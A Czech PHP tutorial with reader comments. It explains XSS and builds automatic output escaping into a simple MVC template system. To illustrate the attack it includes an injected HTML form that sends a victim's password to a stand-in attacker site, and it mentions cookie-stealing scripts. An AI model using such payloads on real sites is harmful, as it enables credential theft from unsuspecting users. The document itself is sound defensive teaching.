9. díl - Zabezpečení šablon

PHP MVC Zabezpečení šablon American English version English version

V minulém dílu našeho seriálu tutoriálů pro jednoduchý objektový redakční systém v PHP jsme si vypsali článek z databáze. Abychom mohli jít dále a doprogramovat do RS funkčnosti jako jsou editor článků nebo přihlašování uživatelů, budeme muset předem doladit několik věcí. Jedná se zejména o zabezpečení šablon, o tom bude dnešní díl.

Útok XSS

Zkusme si v databázi editovat článek "uvod" a do sloupce titulek vložme tuto hodnotu:

<em> je můj oblíbený tag

Systém zobrazí článek následujícím způsobem:

XSS útok v devbook MVC

<em> v nadpisu není a míto toho je kurzívou. HTML tag se vložil do stránky a prohlížeč ho vykonal. V tomto případě je to jen vada na kráse.

Představte si však, co se stane, když se nějaký uživatel webu pojmenuje takto:

<form action="zlodejhesel.cz">Zadejte heslo znovu: <input type="password" name="heslo"><input type="submit" /></form>

Při výpisu jeho jména systém zobrazí formulář, kam může nic netušící uživatel zadat své heslo, protože si myslí, že ho po něm chce náš web. Heslo samozřejmě přijde útočníkovi na jeho web a on ho může zneužít. Další oblíbenou taktikou je vkládání JavaScriptu, který se snaží např. krást cookies.

Tomuto útoku se říká XSS neboli tzv. cross-site scripting

Obrana

Řešení problému by nám mělo být známé. Proměnné, ve kterých může být hodnota zadaná uživatelem, před výpisem proženeme funkcí htmlspecialchars(). Ta z HTML tagů udělá nevinné entity, které se poté prohlížečem nespustí. Takto bychom měli ošetřovat všechny proměnné před výpisem. Stejně jako tomu bylo u databáze, u většího programu jednoduše neuhlídáme, co se ve které proměnné může nacházet, proto budeme zabezpečovat všechny. Ještě jednou připomenu, že proměnné ošetřujeme těsně před výpisem a v žádném případě neukládáme entity do databáze, v databázi je vždy původní text, tedy přesně to, co zadal uživatel. Upravujeme až pro výstup. Do databáze patří vždy co nejvíce surová data, která formátuje až aplikace.

První řešení, které by nás napadlo, je vložení funkce htmlspecialchars() do všech pohledů kolem všech proměnných. Můžeme si to zkusit pro pohled clanek:

<header>
        <h1><?= htmlspecialchars($titulek) ?></h1>
</header>
<section>
        <?= htmlspecialchars($obsah) ?>
</section>

Zkuste si, že se škodlivý kód již neprovede, namísto toho se vypíše přesně to, co je v proměnné.

Zastavený XSS útok v devbook MVC

Co to ale vidíme? Nyní je zpracování HTML tagů vypnuto všude, ale i v článku, kde nefunguje odkaz na konci. Jelikož obsah článku je asi jediné místo, kde chceme vložené HTML tagy zpracovávat, v šabloně ponecháme proměnnou $obsah neošetřenou.

Automatizace

Zeptejme se sami sebe, kolik procent proměnných bude potřeba v šablonách ošetřovat. Velmi pravděpodobně dojdeme k číslu většímu než 90%. Bylo by tedy velmi vhodné tento krok zautomatizovat a nutnost vložení neošetřené proměnné brát jako výjimku. Jelikož v našem MVC frameworku budeme pracovat téměř vždy s asociativními poli, vytvoříme si v abstraktním kontroleru funkci, která toto pole rekurzivně zentituje. Jinými slovy zavolá funkci htmlspecialchars() na všechny stringy v poli $data a pokud je v poli $data vložené nějaké další pole, udělá to samé s ním a tak dále. Otevřeme si ještě jednou Kontroler.php a do třídy Kontroler přidáme metodu osetri():

private function osetri($x = null)
{
        if (!isset($x))
                return null;
        elseif (is_string($x))
                return htmlspecialchars($x, ENT_QUOTES);
        elseif (is_array($x))
        {
                foreach($x as $k => $v)
                {
                        $x[$k] = $this->osetri($v);
                }
                return $x;
        }
        else
                return $x;
}

Pro neinicializovanou proměnnou vrátíme null, pro řetězec vrátíme jeho zentitovanou hodnotu, pro pole ošetříme rekurzivně všechny jeho prvky, další datové typy vrátíme jak jsou. Samotné volání htmlspecialchars() má ještě parametr quotes, aby ošetřoval i jednoduché uvozovky. Je to tak bezpečnější.

V metodě vypisPohled() nyní upravíme parametry funkce extract tak, aby jí bylo předáno ošetřené pole $data:

extract($this->osetri($this->data));

Máme hotovo, všechny vybalené proměnné v šabloně budou již zentitované. Zbývá nějak vyřešit těch pár případů, kdy je zentitované nechceme (např. onen obsah článku). Funkce extract() nám umožňuje dát proměnným určitý prefix (něco před jejich název), vybalíme si tedy proměnné ještě jednou, tentokrát neošetřené a s nějakým prefixem. Každá proměnná bude v šabloně tedy 2x, jednou pod svým jménem a jednou neošetřená s prefixem. Extract mezi prefix a název proměnné vloží vždy podtržítko "_". Pokud zadáme prefix prázdný, vybalí se proměnné předsazené podtržítkem, což je pro naše účely docela hezké. Přidejme si tedy do metody vypisPohled() ještě jedno vybalení (za první extract()):

extract($this->data, EXTR_PREFIX_ALL, "");

Ještě upravíme šablonu článku, ta bude nyní vypadat minimalisticky a to je přesně to, co se po šabloně chce:

<header>
        <h1><?= $titulek ?></h1>
</header>
<section>
        <?= $_obsah ?>
</section>

Vše je ošetřené proti XSS, čistý obsah se vkládá pouze u článku, kde jsme použili proměnnou $_obsah s podtržítkovým prefixem, tedy neošetřenou.

Vytvořili jsme si tedy extrémně jednoduchý šablonovací systém. Proměnné se vkládají do šablony jednoduše pomocí direktivy <?= $promenna ?>. Vkládá se ošetřená verze proměnné. V případech, kdy potřebujeme neošetřenou, použijeme podtržítkový prefix <?= $_promenna ?>. Náš systém je nyní zabezpečený proti útoku XSS. Příště si naprogramujeme slíbený mechanismus zpráv. Dnešní projekt je jako vždy přiložen níže ke stažení.


 

Stáhnout

Staženo 984x (11.48 kB)
Aplikace je včetně zdrojových kódů v jazyce PHP

 

  Aktivity (1)

Článek pro vás napsal David Čápka
Avatar
Autor pracuje jako softwarový architekt a pedagog na projektu ITnetwork.cz (a jeho zahraničních verzích). Velmi si váží svobody podnikání v naší zemi a věří, že když se člověk neštítí práce, tak dokáže úplně cokoli.
Unicorn College Autor se informační technologie naučil na Unicorn College - prestižní soukromé vysoké škole IT a ekonomie.

Jak se ti líbí článek?
Celkem (13 hlasů) :
55555


 


Miniatura
Následující článek
Mechanismus zpráv

 

 

Komentáře
Zobrazit starší komentáře (9)

Avatar
tomaskolarcik:

Ahoj muže mi prosím někdo vysvětlit co to dělá foreach($x as $k => $v) .
A dala by se napsat ta část ošetření pole proti XSS takto

elseif(is_array($x)){
            for($i=0;$i<count($x);$i++){
                $x[$i]=$this->osetri($x[$i]);
            }
            return $x;

Diký předem

 
Odpovědět 25.8.2015 13:02
Avatar
MArtin
Člen
Avatar
MArtin:

Akurat nechapem preco sa to osetruje pri vypise clanku a nie uz pri vkladani do DB. Usetri sa tym cas a zataz servera. Do DB vkladam len raz a vypisujem kazdu chvilu.

 
Odpovědět 27.10.2015 10:27
Avatar
Odpovídá na MArtin
Martin Konečný (pavelco1998):

Protože je lepší mít v databázi surová data, ať např. kvůli povolené délce, nebo když chceš s daty pracovat i jinak, než je jen vypsat (hledat podle hodnoty atd.).

 
Odpovědět  -1 27.10.2015 10:32
Avatar
Šimon Rataj
Člen
Avatar
Šimon Rataj:

Nevím proč, ale htmlspecialchars() i htmlentities() mi vrací prázdný výsledek. Nevíte někdo proč?

 
Odpovědět 2. června 19:31
Avatar
Matúš Petrofčík
Šéfredaktor
Avatar
Odpovídá na Šimon Rataj
Matúš Petrofčík:

Nevím proč, ale nestartuje mi auto...

Musíš byť viac konkrétny, najlepšie je uviesť problematickú časť kódu. Skús to znovu :)

Odpovědět  +2 2. června 19:39
obsah kocky = r^2 ... a preto vlak drnká
Avatar
Šimon Rataj
Člen
Avatar
Odpovídá na Matúš Petrofčík
Šimon Rataj:
<?=$title ?>

vypíše Úvod.

<?=htmlspecialchars($title) ?>

nevypíše nic.

 
Odpovědět 3. června 16:13
Avatar
Matúš Petrofčík
Šéfredaktor
Avatar
Odpovídá na Šimon Rataj
Matúš Petrofčík:

Podľa php.net:

If the input string contains an invalid code unit sequence within the given encoding an empty string will be returned, unless either the ENT_IGNORE or ENT_SUBSTITUTE flags are set.

Ak sa pozrieme na parametre funkcie:

string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )

Napadlo ma že nemáš nastavené defaultný charset (kodovanie) v php.ini a funkcia ini_get("defau­lt_charset") v 3. parametri vracia neplatný reťazec, a tým sa vyvoláva chyba ktorá zapríčiní vrátenie prázdneho reťazcu (táto chyba sa defaultne nezobrazí ako ostatné).

Skús použiť:

<?= htmlspecialchars($title, ENT_QUOTES, "UTF-8") ?>

Ak sa nevypíše nič, tak nvm. Určite máš súbory uložené ako UTF-8?

Editováno 3. června 16:37
Odpovědět  ±0 3. června 16:35
obsah kocky = r^2 ... a preto vlak drnká
Avatar
Šimon Rataj
Člen
Avatar
 
Odpovědět  +1 3. června 16:45
Avatar
Matúš Petrofčík
Šéfredaktor
Avatar
Odpovídá na Šimon Rataj
Matúš Petrofčík:

Bolo to teda tým charsetom? Ak áno, dúfam že si si ho nastavil v php.ini aby sa ti takáto chybka nestala znovu :)

Odpovědět  +2 3. června 16:58
obsah kocky = r^2 ... a preto vlak drnká
Avatar
mkub
Redaktor
Avatar
mkub:

pre tych, co ma minuskovali, treba osetrit tie udaje pri vstupe do databazy kvoli SQL injection a pri vystupe na stranku zase osetrovat vystup kvoli cross-site scriptingu

a ak sa ukladaju do databazy surove udaje bez overenia, resp. sa vyhladavaju udaje bez upravy vstupneho hladacieho retazca, sa lahko moze stat, ze databaza vygeneruje udaje, ktore nema, resp. urobi cinnost, co by nemala urobit
a PDO pri spravnom pouziti zabrani SQL injectingu, ale PDO (skratrka z PHP Database Object) vyzaduje objektove programovanie aspon pri pristupe k databaze

 
Odpovědět 4. srpna 7:44
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 10 zpráv z 19. Zobrazit vše